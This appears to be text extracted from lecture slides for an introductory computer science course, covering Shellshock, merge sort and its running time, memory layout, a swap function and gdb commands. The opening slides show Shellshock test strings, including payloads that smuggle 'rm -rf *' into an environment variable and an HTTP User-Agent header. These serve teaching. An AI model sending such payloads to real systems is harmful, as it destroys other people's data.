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	  env	  x='()	  {	  :;	  };	  echo	  vulnerable'	  bash	  -‐c	  :



	  env	  x='()	  {	  :;	  };	  echo	  vulnerable'	  bash	  -‐c	  :



	  env	  x='()	  {	  :;	  };	  echo	  vulnerable'	  bash	  -‐c	  :



	  env	  x='()	  {	  :;	  };	  rm	  -‐rf	  *'	  bash	  -‐c	  :



GET	  /	  HTTP/1.1	  
Location:	  www.example.com	  
User-‐Agent:	  ()	  {	  :;	  };	  rm	  -‐rf	  *'	  bash	  -‐c	  :



wikipedia.org/wiki/Shellshock_(software_bug)



reflections on trusting trust



http://xkcd.com/347/

http://xkcd.com/347/






merge sort



on	  input	  of	  n	  elements	  
	  	  	  	  if	  n	  <	  2	  
	  	  	  	  	  	  	  	  return	  
	  	  	  	  else	  
	  	  	  	  	  	  	  	  sort	  left	  half	  of	  elements	  
	  	  	  	  	  	  	  	  sort	  right	  half	  of	  elements	  
	  	  	  	  	  	  	  	  merge	  sorted	  halves



O(n log n)



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
!



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
!



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
!



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
!



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
!



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  5	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



4	  	  	  2	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  7	  	  	  5	  
2	  	  	  4	  	  	  6	  	  	  8	  	  	  1	  	  	  3	  	  	  5	  	  	  7	  
1	  	  	  2	  	  	  3	  	  	  4	  	  	  5	  	  	  6	  	  	  7	  	  	  8



on	  input	  of	  n	  elements	  
	  	  	  	  if	  n	  <	  2	  
	  	  	  	  	  	  	  	  return	  
	  	  	  	  else	  
	  	  	  	  	  	  	  	  sort	  left	  half	  of	  elements	  
	  	  	  	  	  	  	  	  sort	  right	  half	  of	  elements	  
	  	  	  	  	  	  	  	  merge	  sorted	  halves



on	  input	  of	  n	  elements	  
	  	  	  	  if	  n	  <	  2	  
	  	  	  	  	  	  	  	  return	  
	  	  	  	  else	  
	  	  	  	  	  	  	  	  sort	  left	  half	  of	  elements	  
	  	  	  	  	  	  	  	  sort	  right	  half	  of	  elements	  
	  	  	  	  	  	  	  	  merge	  sorted	  halves



T(n) = O(1)
if n < 2



on	  input	  of	  n	  elements	  
	  	  	  	  if	  n	  <	  2	  
	  	  	  	  	  	  	  	  return	  
	  	  	  	  else	  
	  	  	  	  	  	  	  	  sort	  left	  half	  of	  elements	  
	  	  	  	  	  	  	  	  sort	  right	  half	  of	  elements	  
	  	  	  	  	  	  	  	  merge	  sorted	  halves



on	  input	  of	  n	  elements	  
	  	  	  	  if	  n	  <	  2	  
	  	  	  	  	  	  	  	  return	  
	  	  	  	  else	  
	  	  	  	  	  	  	  	  sort	  left	  half	  of	  elements	  
	  	  	  	  	  	  	  	  sort	  right	  half	  of	  elements	  
	  	  	  	  	  	  	  	  merge	  sorted	  halves



on	  input	  of	  n	  elements	  
	  	  	  	  if	  n	  <	  2	  
	  	  	  	  	  	  	  	  return	  
	  	  	  	  else	  
	  	  	  	  	  	  	  	  sort	  left	  half	  of	  elements	  
	  	  	  	  	  	  	  	  sort	  right	  half	  of	  elements	  
	  	  	  	  	  	  	  	  merge	  sorted	  halves



T(n) = T(n/2) + T(n/2) + O(n)
if n ≥ 2



O(n log n)



recursion



google.com/search?q=recursion



environment variables

stack

uninitialized data

initialized data

text

heap



void	  swap(int	  a,	  int	  b)	  
{	  
	  	  	  	  int	  tmp	  =	  a;	  
	  	  	  	  a	  =	  b;	  
	  	  	  	  b	  =	  tmp;	  
}



gdb
run	  
break	  
next	  
step	  
continue	  
print	  
display	  
backtrace	  
frame	  
...





to be continued...


